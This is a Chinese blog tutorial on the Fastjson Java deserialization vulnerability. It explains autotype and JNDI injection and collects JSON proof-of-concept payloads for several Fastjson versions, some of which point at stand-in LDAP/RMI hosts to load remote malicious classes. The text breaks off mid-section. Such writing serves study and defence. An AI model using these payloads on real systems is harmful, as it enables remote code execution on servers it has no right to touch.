分享Fastjson反序列化漏洞原理+漏洞复现+实战案例+POC收集

0x1 前言

哈喽师傅们,这篇文章自己写之前先是看了十几篇的Fastjson反序列化漏洞相关的文章,自己也是先学习了一遍,然后才写的这篇文章,这篇文章主要是分享Fastjson反序列化漏洞原理+漏洞复现+实战案例+POC收集,然后从不同的方面去介绍和利用Fastjson漏洞,特别是在收集POC的过程中,需要我们自己去验证它。还有就是复现相关Fastjson漏洞的时候对于我们本地的一个Java和jdk环境要求比较严格,最后面呢是以之前挖EDUSRC的一个学校的案例来给师傅们分享下实战中的Fastjson漏洞怎么利用。

image.png

0x2 Fastjson反序列化漏洞原理及介绍

一、浅谈

Fastjson反序列化漏洞也是一个知名度比较高的Java反序列化漏洞,他是阿里巴巴的开源库,下面我将主要带大家了解Fastjson反序列化漏洞的原理以及相关知识点的内容,然后带师傅们去利用rmi服务去复现这个Fastjson反序列化漏洞。

二、什么是json?

json是一种数据格式,对于我们互联网来说,我们服务器和客户端有大量的数据需要进行传输。以前通用的方式是xml,但是xml数据体重太大,效率低下,所以就有了另外一种数据格式,叫json。

json一共有两种体现:

  • json对象、json数组
  • json对象:json本身是一个字符串,{建:值, 建:值}

举例:

{
  "name" : "routing",
  "2003-11-11",
  "age" : 20,
  "likes" : ["看电影" , "看书"]
}

三、Fastjson概述

FastJson是啊里巴巴的的开源库,用于对JSON格式的数据进行解析和打包。其实简单的来说就是处理json格式的数据的。例如将json转换成一个类。或者是将一个类转换成一段json数据。

Fastjson 是一个 Java 库,提供了Java 对象与 JSON 相互转换。

  • toJSONString()方法:(序列化)将json对象转换成JSON字符串;
  • parseObject()方法:(反序列化)将JSON字符串转换成json对象。

使用方式:

//序列化
String text = JSON.toJSONString(obj); 
//反序列化
VO vo = JSON.parse(); //解析为JSONObject类型或者JSONArray类型
VO vo = JSON.parseObject("{...}"); //JSON文本解析成JSONObject类型
VO vo = JSON.parseObject("{...}", VO.class); //JSON文本解析成VO.class类

四、Fastjson漏洞原理

fastjson为了读取并判断传入的值是什么类型,增加了autotype机制导致了漏洞产生。

由于要获取json数据详细类型,每次都需要读取@type,而@type可以指定反序列化任意类调用其setgetis方法,并且由于反序列化的特性,我们可以通过目标类的set方法自由的设置类的属性值。

那么攻击者只要准备rmi服务和web服务,将rmi绝对路径注入到lookup方法中,受害者JNDI接口会指向攻击者控制rmi服务器,JNDI接口从攻击者控制的web服务器远程加载恶意代码并执行,形成RCE。

【JNDI提供了查找和访问各种命名和目录服务的通用、统一的接口。支持的服务:DNS,LDAP,RMI,CORBA等】

关于JNDI注入,大家可以看我之前写的一篇关于log4j的JNDI注入漏洞的详细介绍:

https://blog.csdn.net/SENMINGya/article/details/136819823?spm=1001.2014.3001.5502

五、Fastjson漏洞利用详解

1、攻击者(我们)访问存在fastjson漏洞的目标靶机网站,通过burpsuite抓包改包,以json格式添加com.sun.rowset.JdbcRowSetImpl恶意类信息发送给目标机。

2、存在漏洞的靶机对json反序列化时候,会加载执行我们构造的恶意信息(访问rmi服务器),靶机服务器就会向rmi服务器请求待执行的命令。也就是靶机服务器问rmi服务器,(靶机服务器)需要执行什么命令啊?

3、rmi 服务器请求加载远程机器的class(这个远程机器是我们搭建好的恶意站点,提前将漏洞利用的代码编译得到.class文件,并上传至恶意站点),得到攻击者(我们)构造好的命令(ping dnslog或者创建文件或者反弹shell啥的)

4、rmi将远程加载得到的class(恶意代码),作为响应返回给靶机服务器。

5、靶机服务器执行了恶意代码,被攻击者成功利用。

这里给大家看看红队大佬的图解,希望对大家理解fastjson漏洞原理的利用有帮助。

image.png

0x3 Fastjson漏洞POC收集

一、Fastjson 1.2.24版本

TemplatesImpl 反序列化

最终Poc

{
    "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
    "_bytecodes": ["恶意字节码"],
    "_name": "test",
    "_tfactory": {},
    "_outputProperties": {},
}

JdbcRowSetImpl 反序列化

最终Poc

{  

  "@type":"com.sun.rowset.JdbcRowSetImpl",  

  "dataSourceName":"ldap://127.0.0.1:1234/Exploit",  

  "autoCommit":true  

}  

二、Fastjson 1.2.25版本

附上Poc

{  

  "@type":"[com.sun.rowset.JdbcRowSetImpl;",  

  "dataSourceName":"ldap://127.0.0.1:1234/Exploit",  

  "autoCommit":true  

}  

或   

{  

  "a":{  

    "@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",  

    "dataSourceName":"rmi://test.com:9999/TouchFile",  

    "autoCommit":true  

  }  

}

三、Fastjson 1.2.42版本

最终Poc,添加两个类描述符

{  

  "@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",  

  "dataSourceName":"ldap://127.0.0.1:1234/Exploit",  

  "autoCommit":true  

}

四、Fastjson 1.2.43版本

附上poc

{
    "@type":"[com.sun.rowset.JdbcRowSetImpl"[,
    {"dataSourceName":"ldap://127.0.0.1:1234/Exploit",
    "autoCommit":true
}

或
{
    "b":{
        "@type":"[com.sun.rowset.JdbcRowSetImpl"[{,
        "dataSourceName":"rmi://test.com:9999/TouchFile",
        "autoCommit":true
    }
}

五、Fastjson 1.2.45版本

分析版本来到fastjson1.2.45,此版本升级后,存在一个黑名单匹配绕过,绕过类

org.apache.ibatis.datasource.jndi.JndiDataSourceFactory

利用条件如下

  1. 目标服务端存在mybatis的jar包。
  2. 版本需为 3.x.x ~ 3.5.0
  3. autoTypeSupport属性为
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

一个想当文人的黑客

您的鼓励是对我最大的动力!!!

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值